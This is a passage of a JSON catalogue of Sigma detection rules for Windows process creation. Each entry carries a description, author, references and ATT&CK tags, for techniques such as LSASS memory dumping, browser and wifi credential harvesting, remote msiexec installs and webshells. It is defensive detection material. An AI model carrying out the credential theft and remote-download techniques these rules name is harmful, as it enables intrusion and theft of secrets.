          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "797011dc-44f4-4e6f-9f10-a8ceefbe566b",
      "value": "WMI Backdoor Exchange Transport Agent"
    },
    {
      "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_automated_collection.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_automated_collection.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1119",
          "attack.credential_access",
          "attack.t1552.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f576a613-2392-4067-9d1a-9345fb58d8d1",
      "value": "Automated Collection Command Prompt"
    },
    {
      "description": "Detects execution of renamed Remote Utilities (RURAT) via Product PE header field",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_rurat.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/misbehaving-rats/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.collection",
          "attack.command_and_control",
          "attack.discovery",
          "attack.s0592"
        ]
      },
      "uuid": "9ef27c24-4903-4192-881a-3adde7ff92a5",
      "value": "Renamed Remote Utilities RAT (RURAT) Execution"
    },
    {
      "description": "Detects an uncommon child process of \"odbcconf.exe\" binary which normally shouldn't have any child processes.",
      "meta": {
        "author": "Harjot Singh @cyb3rjy0t",
        "creation_date": "2023/05/22",
        "falsepositive": [
          "In rare occurrences where \"odbcconf\" crashes. It might spawn a \"werfault\" process",
          "Other child processes will depend on the DLL being registered by actions like \"regsvr\". In case where the DLLs have external calls (which should be rare). Other child processes might spawn and additional filters need to be applied."
        ],
        "filename": "proc_creation_win_odbcconf_uncommon_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
          "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16",
          "https://medium.com/@cyberjyot/t1218-008-dll-execution-using-odbcconf-exe-803fa9e08dac",
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        ],
        "tags": [
          "attack.defense_evasion",
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      },
      "related": [
        {
          "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "8e3c7994-131e-4ba5-b6ea-804d49113a26",
      "value": "Uncommon Child Process Spawned By Odbcconf.EXE"
    },
    {
      "description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag",
      "meta": {
        "author": "frack113, Florian Roth",
        "creation_date": "2021/07/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_mavinject_process_injection.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Hexacorn/status/776122138063409152",
          "https://github.com/SigmaHQ/sigma/issues/3742",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md",
          "https://twitter.com/gN3mes1s/status/941315826107510784",
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          "https://reaqta.com/2017/12/mavinject-microsoft-injector/",
          "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml"
        ],
        "tags": [
          "attack.defense_evasion",
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          "attack.t1218.013"
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      },
      "related": [
        {
          "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "1bae753e-8e52-4055-a66d-2ead90303ca9",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "4f73421b-5a0b-4bbf-a892-5a7fb99bea66",
      "value": "Mavinject Inject DLL Into Running Process"
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    {
      "description": "Detects execution of \"aspnet_compiler.exe\" which can be abused to compile and execute C# code.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_aspnet_compiler_exectuion.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/",
          "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_exectuion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
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      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "a01b8329-5953-4f73-ae2d-aa01e1f35f00",
      "value": "AspNetCompiler Execution"
    },
    {
      "description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msiexec_install_remote.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.007"
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      },
      "related": [
        {
          "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "8150732a-0c9d-4a99-82b9-9efb9b90c40c",
      "value": "Suspicious Msiexec Quiet Install From Remote Location"
    },
    {
      "description": "Detects the usage of \"pypykatz\" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry where the SAM database is stored",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_pypykatz.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pypykatz.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
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      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a29808fd-ef50-49ff-9c7a-59a9b040b404",
      "value": "HackTool - Pypykatz Credentials Dumping Activity"
    },
    {
      "description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/12/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_createminidump.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "36d88494-1d43-4dc0-b3fa-35c8fea0ca9d",
      "value": "HackTool - CreateMiniDump Execution"
    },
    {
      "description": "Detects when a user downloads a file by using CertOC.exe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/05/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certoc_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Certoc/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_download.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "70ad0861-d1fe-491c-a45f-fa48148a300d",
      "value": "File Download via CertOC.EXE"
    },
    {
      "description": "Detects an attacker trying to enable the outlook security setting \"EnableUnsafeClientMailRules\" which allows outlook to run applications or execute macros",
      "meta": {
        "author": "Markus Neis, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2018/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_outlook_enable_unsafe_client_mail_rules.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44",
          "https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_enable_unsafe_client_mail_rules.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "55f0a3a1-846e-40eb-8273-677371b8d912",
      "value": "Outlook EnableUnsafeClientMailRules Setting Enabled"
    },
    {
      "description": "Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule",
      "meta": {
        "author": "Florian Roth (Nextron Systems), oscd.community",
        "creation_date": "2019/01/29",
        "falsepositive": [
          "Legitimate administration activity"
        ],
        "filename": "proc_creation_win_netsh_port_forwarding_3389.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding_3389.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.defense_evasion",
          "attack.command_and_control",
          "attack.t1090"
        ]
      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "782d6f3e-4c5d-4b8c-92a3-1d05fed72e63",
      "value": "RDP Port Forwarding Rule Added Via Netsh.EXE"
    },
    {
      "description": "Detects usage of the 'Get-Clipboard' cmdlet via CLI",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_get_clipboard.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29/issues/16",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1115"
        ]
      },
      "related": [
        {
          "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b9aeac14-2ffd-4ad3-b967-1354a4e628c3",
      "value": "PowerShell Get-Clipboard Cmdlet Via CLI"
    },
    {
      "description": "Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks",
      "meta": {
        "author": "Bhabesh Raj, X__Junior (Nextron Systems)",
        "creation_date": "2021/07/30",
        "falsepositive": [
          "System administrator Usage"
        ],
        "filename": "proc_creation_win_expand_cabinet_files.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll",
          "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9f107a84-532c-41af-b005-8d12a607639f",
      "value": "Potentially Suspicious Cabinet File Expansion"
    },
    {
      "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
        "creation_date": "2022/08/07",
        "falsepositive": [
          "Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process."
        ],
        "filename": "proc_creation_win_susp_ntfs_short_name_path_use_cli.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/frack113/status/1555830623633375232",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN",
          "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_cli.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "349d891d-fef0-4fe4-bc53-eee623a15969",
      "value": "Use Short Name Path in Command Line"
    },
    {
      "description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells",
      "meta": {
        "author": "Florian Roth (Nextron Systems), MSTI (query)",
        "creation_date": "2022/10/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_webshell_chopper.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_chopper.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.003",
          "attack.t1018",
          "attack.t1033",
          "attack.t1087"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
        },
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fa3c117a-bc0d-416e-a31b-0c0e80653efb",
      "value": "Chopper Webshell Process Pattern"
    },
    {
      "description": "Detects execution of \"VSDiagnostics.exe\" with the \"start\" command in order to launch and proxy arbitrary binaries.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/03",
        "falsepositive": [
          "Legitimate usage for tracing and diagnostics purposes"
        ],
        "filename": "proc_creation_win_vsdiagnostics_execution_proxy.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0xBoku/status/1679200664013135872",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vsdiagnostics_execution_proxy.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ac1c92b4-ac81-405a-9978-4604d78cc47e",
      "value": "Potential Binary Proxy Execution Via VSDiagnostics.EXE"
    },
    {
      "description": "Detects when a user enable developer features such as \"Developer Mode\" or \"Application Sideloading\". Which allows the user to install untrusted packages.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_systemsettingsadminflows_turn_on_dev_features.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_systemsettingsadminflows_turn_on_dev_features.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "a383dec4-deec-4e6e-913b-ed9249670848",
      "value": "Potential Signing Bypass Via Windows Developer Features"
    },
    {
      "description": "Detects a process memory dump via \"comsvcs.dll\" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Modexp, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/02/18",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_rundll32_process_dump_via_comsvcs.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/shantanukhande/status/1229348874298388484",
          "https://twitter.com/SBousseaden/status/1167417096374050817",
          "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/",
          "https://twitter.com/Wietze/status/1542107456507203586",
          "https://twitter.com/pythonresponder/status/1385064506049630211?s=21",
          "https://github.com/Hackndo/lsassy/blob/14d8f8ae596ecf22b449bfe919829173b8a07635/lsassy/dumpmethod/comsvcs.py",
          "https://twitter.com/Hexacorn/status/1224848930795552769",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.credential_access",
          "attack.t1036",
          "attack.t1003.001",
          "car.2013-05-009"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "646ea171-dded-4578-8a4d-65e9822892e3",
      "value": "Process Memory Dump Via Comsvcs.DLL"
    },
    {
      "description": "Detects the execution of WebBrowserPassView.exe. A password recovery tool that reveals the passwords stored by the following Web browsers, Internet Explorer (Version 4.0 - 11.0), Mozilla Firefox (All Versions), Google Chrome, Safari, and Opera",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/20",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_pua_webbrowserpassview.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_webbrowserpassview.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d0dae994-26c6-4d2d-83b5-b3c8b79ae513",
      "value": "PUA - WebBrowserPassView Execution"
    },
    {
      "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often"
        ],
        "filename": "proc_creation_win_powershell_user_discovery_get_aduser.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_user_discovery_get_aduser.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1114e048-b69c-4f41-bc20-657245ae6e3f",
      "value": "User Discovery And Export Via Get-ADUser Cmdlet"
    },
    {
      "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.",
      "meta": {
        "author": "Matthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113",
        "creation_date": "2019/06/15",
        "falsepositive": [
          "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist",
          "PsExec installed via Windows Store doesn't contain original filename field (False negative)"
        ],
        "filename": "proc_creation_win_renamed_binary_highly_relevant.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/",
          "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks",
          "https://twitter.com/christophetd/status/1164506034720952320",
          "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html",
          "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003",
          "car.2013-05-009"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0ba1da6d-b6ce-4366-828c-18826c9de23e",
      "value": "Potential Defense Evasion Via Rename Of Highly Relevant Binaries"
    },
    {
      "description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_safetykatz.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/SafetyKatz",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_safetykatz.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b1876533-4ed5-4a83-90f3-b8645840a413",
      "value": "HackTool - SafetyKatz Execution"
    },
    {
      "description": "Detect the harvesting of wifi credentials using netsh.exe",
      "meta": {
        "author": "Andreas Hunkeler (@Karneades), oscd.community",
        "creation_date": "2020/04/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_netsh_wifi_credential_harvesting.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.credential_access",
          "attack.t1040"
        ]
      },
      "related": [
        {
          "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "42b1a5b8-353f-4f10-b256-39de4467faff",
      "value": "Harvesting Of Wifi Credentials Via Netsh.EXE"
    },
    {
      "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), @ROxPinTeddy",
        "creation_date": "2020/05/12",
        "falsepositive": [
          "Legitimate administrative use"
        ],
        "filename": "proc_creation_win_pua_advanced_ip_scanner.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html",
          "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer",
          "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner",
          "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/",
          "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf",
          "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1046",
          "attack.t1135"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bef37fa2-f205-4a7b-b484-0759bfd5f86f",
      "value": "PUA - Advanced IP Scanner Execution"
    },
    {
      "description": "Detects suspicious IIS native-code module installations via command line",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/12/11",
        "falsepositive": [
          "Unknown as it may vary from organisation to organisation how admins use to install IIS modules"
        ],
        "filename": "proc_creation_win_iis_appcmd_susp_module_install.yml",
        "level": "medium",
        "logsource.category": "process_creation",
